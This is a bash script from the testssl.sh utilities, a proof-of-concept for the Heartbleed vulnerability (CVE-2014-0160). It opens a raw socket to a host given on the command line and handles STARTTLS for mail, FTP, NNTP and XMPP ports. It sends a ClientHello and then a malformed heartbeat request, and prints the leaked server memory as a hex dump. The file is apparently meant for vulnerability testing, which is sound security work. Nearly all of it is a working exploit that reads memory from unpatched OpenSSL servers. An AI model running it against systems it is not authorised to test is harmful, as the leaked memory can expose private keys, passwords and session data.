testssl.sh/utils/heartbleed.bash

#!/usr/bin/env bash

# POC bash socket implementation of heartbleed (CVE-2014-0160), see also http://heartbleed.com/
# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt 
#
# sockets inspired by http://blog.chris007.de/?p=238
# heartbleed mainly adapted from https://gist.github.com/takeshixx/10107280
#
# handshakes from RFCs. Good source too:  https://github.com/ioerror/sslscan/blob/master/sslscan.c
#
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######

readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
trap "cleanup" QUIT EXIT

[ -z "$1" ] && exit 1

NODE="$1"
PORT="443"
JABBERNODE=${JABBERNODE}
SLEEP=2
MAXSLEEP=10
SOCKREPLY=""
COL_WIDTH=32
DEBUG=${DEBUG:-0}
HELLO_READBYTES=${HELLO_READBYTES:-65535}

# TLS 1.0=x01  1.1=0x02, 1.2=0x3
TLSV=${2:-01}


heartbleed_payload="\x18\x03\x$TLSV\x00\x03\x01\x40\x00"
##                                              ^^^^^^^ this is the whole thing!

client_hello="
# TLS header (5 bytes)
,x16,               # Content type (x16 for handshake)
x03, x$TLSV,        # TLS Version
x00, xdc,           # Length
# Handshake header
x01,                # Type (x01 for ClientHello)
x00, x00, xd8,      # Length
x03, x$TLSV,        # TLS Version
# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
x53, x43, x5b, x90, x9d, x9b, x72, x0b,
xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
xcf, xbd, x39, x04, xcc, x16, x0a, x85,
x03, x90, x9f, x77, x04, x33, xd4, xde,
x00,                # Session ID length
x00, x66,           # Cipher suites length
# Cipher suites (51 suites)
xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
x00, x39, x00, x38, x00, x88, x00, x87,
xc0, x0f, xc0, x05, x00, x35, x00, x84,
xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
x00, x16, x00, x13, xc0, x0d, xc0, x03,
x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
xc0, x1e, x00, x33, x00, x32, x00, x9a,
x00, x99, x00, x45, x00, x44, xc0, x0e,
xc0, x04, x00, x2f, x00, x96, x00, x41,
xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
x00, x05, x00, x04, x00, x15, x00, x12,
x00, x09, x00, x14, x00, x11, x00, x08,
x00, x06, x00, x03, x00, xff,
x01,               # Compression methods length
x00,               # Compression method (x00 for NULL)
x00, x49,          # Extensions length
# Extension: ec_point_formats
x00, x0b, x00, x04, x03, x00, x01, x02,
# Extension: elliptic_curves
x00, x0a, x00, x34, x00, x32, x00, x0e,
x00, x0d, x00, x19, x00, x0b, x00, x0c,
x00, x18, x00, x09, x00, x0a, x00, x16,
x00, x17, x00, x08, x00, x06, x00, x07,
x00, x14, x00, x15, x00, x04, x00, x05,
x00, x12, x00, x13, x00, x01, x00, x02,
x00, x03, x00, x0f, x00, x10, x00, x11,
# Extension: SessionTicket TLS
x00, x23, x00, x00,
# Extension: Heartbeat
x00, x0f, x00, x01, x01
"
#msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')


parse_hn_port() {
     # strip "https", supposed it was supplied additionally
     echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `

     # strip trailing urlpath
     NODE=`echo $NODE | sed -e 's/\/.*$//'`

     # determine port, supposed it was supplied additionally
     echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
     echo -e "\n===> connecting to $NODE:$PORT\n"
}

debugme() {
          [[ $DEBUG -ge 2 ]] && "$@"
}


wait_kill(){
     pid=$1
     maxsleep=$2
     while true; do
          if ! ps $pid >/dev/null ; then
               return 0  # didn't reach maxsleep yet
          fi
          sleep 1
          maxsleep=$((maxsleep - 1))
          test $maxsleep -eq 0 && break
     done                # needs to be killed
     kill $pid >&2 2>/dev/null
     wait $pid 2>/dev/null
     return 3            # killed
}


socksend() {
     data=`echo $1`
     echo "\"$data\""
     echo -en "$data" >&5 &
     sleep $SLEEP
}


sockread() {
     [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
     ret=0

     ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7
     dd bs=$1 of=$ddreply count=1 <&5 2>/dev/null &
     wait_kill $! $maxsleep
     ret=$?
     SOCKREPLY=$(cat $ddreply)
     [ $DEBUG -eq 0 ] && rm $ddreply

     return $ret
}


starttls_just_read(){
     echo "=== just read banner ==="
     cat <&5 &
     wait_kill $! $SLEEP
}

# arg1: string to send
# arg2: possible success strings a egrep pattern, needed!
starttls_line0() {
     reply=$(mktemp /tmp/reply.XXXXXX) || return 7

     debugme echo -e "\n=== sending \"$1\" ..."
     echo -e "$1" >&5
     dd bs=1024 of=$reply count=32 <&5 2>/dev/null &
     wait_kill $! $SLEEP
     debugme echo "... received result: "
     cat $reply
     if [ -n "$2" ]; then
          if grep -Eq "$2" $reply; then
               debugme echo "---> reply matched \"$2\""
               [ $DEBUG -eq 0 ] && rm $reply
               return 0 
          else
               debugme echo "---> reply didn't match \"$2\", see $reply"
               fixme "STARTTLS handshake problem"
               exit 1
          fi
     fi
}

starttls_line1() {
     echo "$1" >&5
     while true; do
          read line <&5
          echo $line
          break
     done
}

fixme(){
     tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
}


fd_socket(){
     local jabber=""

     if ! exec 5<> /dev/tcp/$NODE/$PORT; then
          echo "`basename $0`: unable to connect to $NODE:$PORT"
          exit 2
     fi

     case "$1" in # port
          21)  # https://tools.ietf.org/html/rfc4217
               starttls_just_read
               starttls_line0 "FEAT" "211"
               #starttls_line0 HELP "214"
               starttls_line0 "AUTH TLS" "successful|234"
               ;;
          25)  # SMTP, see https://tools.ietf.org/html/rfc4217
               starttls_just_read
               starttls_line0 "EHLO testssl.sh" "220|250"
               starttls_line0 "STARTTLS" "220"
               ;;
          110) # POP, see https://tools.ietf.org/html/rfc2595
               starttls_just_read 
               starttls_line0 "STLS" "OK"
               ;;
          119|433) # NNTP, see https://tools.ietf.org/html/rfc4642
               starttls_just_read 
               starttls_line0 "CAPABILITIES" "101|200"
               starttls_line0 "STARTTLS" "382"
               ;;
          143) # IMAP, https://tools.ietf.org/html/rfc2595 
               starttls_just_read 
               starttls_line0 "a001 CAPABILITY" "OK"
               starttls_line0 "a002 STARTTLS" "OK"
               ;;
          389) # LDAP, https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511
               fixme "LDAP: FIXME not yet implemented"
               exit 1
               ;;
          674) # ACAP = Application Configuration Access Protocol, see https://tools.ietf.org/html/rfc2595
               fixme "ACAP: FIXME not yet implemented"
               exit 1
               ;;
          5222) # XMPP, see https://tools.ietf.org/html/rfc6120
               starttls_just_read
               # following would be without hostname, jabber.org doesn't need it, others do!
               #starttls_line0 "<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' version='1.0'>\r\n"
               [ -z $JABBERNODE ] && JABBERNODE="$NODE"
               # as ioerror says: $NODE is not always the correct one, some jabber implementations need a special hostname!
               # supply $JABBERNODE in ENV and you're set, like:     DEBUG=2 JABBERNODE=google.com ./heartbleed.bash talk.google.com:5222
               jabber=$(cat <<EOF
<?xml version='1.0' ?>
<stream:stream 
xmlns:stream='http://etherx.jabber.org/streams' 
xmlns='jabber:client' 
to='$JABBERNODE'
xml:lang='en'
version='1.0'>
EOF
)
               starttls_line0 "$jabber"
               starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed"
               # BTW: https://xmpp.net !
               ;;
          443|995|993|465|*)  # we don't need a special pre-command here
               ;;
     esac
     echo
}

close_socket(){
     exec 5<&-
     exec 5>&-
     return 0
}

cleanup() {
     close_socket
}


#### main

parse_hn_port "$1"
fd_socket $PORT

echo "##### sending standard client hello with TLS version 03,$TLSV:"
socksend "$msg" $TLSV

sockread $HELLO_READBYTES
echo "##### reading server hello ($HELLO_READBYTES bytes):"
echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10
echo "[...]"
echo
if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then
     tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0
     exit 1
fi

echo "###### sending payload with TLS version 03,$TLSV:"
socksend $heartbleed_payload $TLSV

sockread 65534
echo "###### heartbleed reply: "
echo "============================="
echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20
echo "============================="

if [ $(echo "$SOCKREPLY" | xxd | wc -l) -gt 1 ]; then
     tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
     ret=1
else
     tput bold; tput setaf 2; echo "ok"; tput sgr0
     ret=0
fi
echo

exit $ret

#  vim:ts=5:sw=5:expandtab
#  $Id: heartbleed.bash,v 1.14 2015/07/06 19:26:38 dirkw Exp $